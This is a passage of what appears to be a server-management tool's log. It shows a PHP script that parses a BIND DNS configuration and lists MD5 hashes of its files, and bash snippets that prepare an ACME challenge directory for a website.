	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-16 10:28:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp791314; rm /tmp/pkp791314'

2026-04-16 10:28:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-16 10:28:22: Establishing a connection
2026-04-16 10:28:22: Establishing a connection
2026-04-16 10:28:22: 

PUT: /tmp/pkp577128

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-16 10:28:22: 

chmod 755 /tmp/pkp577128; /tmp/pkp577128; rm /tmp/pkp577128

2026-04-16 10:28:22: 


1


2026-04-16 10:28:25: Establishing a connection
2026-04-16 10:28:25: 

PUT: /tmp/pkp923291

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"


2026-04-16 10:28:25: 

chmod 755 /tmp/pkp923291; /tmp/pkp923291; rm /tmp/pkp923291

2026-04-16 10:28:25: 




2026-04-16 14:39:36: Establishing a connection
2026-04-16 14:41:05: Establishing a connection
2026-04-16 14:41:05: 

PUT: /tmp/pkp574817

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-16 14:41:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp574817; rm /tmp/pkp574817'

2026-04-16 14:41:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
